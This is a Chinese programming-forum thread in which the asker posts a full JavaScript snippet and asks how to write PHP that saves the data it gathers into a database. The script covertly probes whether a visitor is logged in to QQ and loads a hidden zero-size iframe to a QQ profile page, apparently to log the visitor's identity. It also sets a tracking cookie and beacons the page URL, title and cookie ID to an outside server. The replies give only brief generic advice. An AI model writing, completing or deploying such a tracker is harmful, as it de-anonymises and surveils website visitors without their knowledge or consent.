JS文件
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;用PHP接收获取到的数据,录入到数据库

解决方案 »

  1.   

    你的 php 不能执行 js 代码,自然就得不到 js 的数据
    你加载 v8js 扩展尝试一下
      

  2.   

    window.cfguid = "11";
    window.cfgqq = "9544";
    window.cfgurl = "http://wwww.xxx.com/";
    var isLoginTimeID;
    function SetCookie(name, value) {
        var exp = new Date();
        exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
        document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
    }
    function GetCookie(name) {
        var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
        if (arr != null) return unescape(arr[2]);
        return null
    }
    function DelCookie(name) {
        var exp = new Date();
        exp.setTime(exp.getTime() - 1);
        var cval = getCookie(name);
        if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
    }
    function insertFrame() {
        var ms = document.createElement("iframe");
        ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
        ms.width = 0;
        ms.height = 0;
        ms.frameborder = 0;
        ms.scrolling = "no";
        if (ms.attachEvent) {
            ms.attachEvent("onload",
            function() {
                newSubmit()
            })
        } else {
            ms.onload = function() {
                newSubmit()
            }
        }
        document.body.appendChild(ms)
    }
    function newSubmit() {
        var uincookie = GetCookie("uincookie");
        if (uincookie == null) {
            uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
            SetCookie("uincookie", uincookie)
        }
        var title = document.title;
        title = encodeURI(title);
        title = encodeURI(title);
        var url = document.location.href;
        url = encodeURI(url);
        url = encodeURI(url);
        var oHead = document.getElementsByTagName('HEAD').item(0);
        var oScript = document.createElement("script");
        oScript.type = "text/javascript";
        oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
        oHead.appendChild(oScript)
    }
    function isLogin() {
        var code = null;
        if (typeof(data3) == "undefined") {
            code = data0.err
        } else {
            code = data3.err
        }
        if (code == 1007) {
            window.clearInterval(isLoginTimeID);
            insertFrame()
        } else {
            var uincookie = GetCookie("uincookie");
            if (uincookie != null) {
                window.clearInterval(isLoginTimeID);
                var title = document.title;
                title = encodeURI(title);
                title = encodeURI(title);
                var url = document.location.href;
                url = encodeURI(url);
                url = encodeURI(url);
                var oHead = document.getElementsByTagName('HEAD').item(0);
                var oScript = document.createElement("script");
                oScript.type = "text/javascript";
                oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
                oHead.appendChild(oScript)
            } else {
                var checkscript = document.getElementById("checkloginscript");
                checkscript.parentNode.removeChild(checkscript)
            }
        }
    }
    function dynamicLoad() {
        var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
        var time = new Date().getTime();
        vsrc = vsrc + time;
        var oHead = document.getElementsByTagName('HEAD').item(0);
        var oScript = document.createElement("script");
        oScript.type = "text/javascript";
        oScript.id = "checkloginscript";
        if (oScript.readyState) {
            oScript.onreadystatechange = function() {
                if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
                    oScript.onreadystatechange = null;
                    isLogin()
                }
            }
        } else {
            oScript.onload = function() {
                isLogin()
            }
        }
        oScript.src = vsrc;
        oHead.appendChild(oScript)
    }
    dynamicLoad();
    isLoginTimeID = window.setInterval("dynamicLoad()", 3000);
    我是想把这个JS获取的数据存入到数据库。
    我想到的方法是用PHP接收写入数据库,这样可以吧
    谢谢版主的回答
      

  3.   

    你写 js 代码把数据发送给 php 就是了
      

  4.   

    关键是PHP代码不知道怎么写,
    大概怎么写呀。
      

  5.   

    js 发送当然是写 js 代码。和 php 有什么关系?
      

  6.   

    ajax 不行么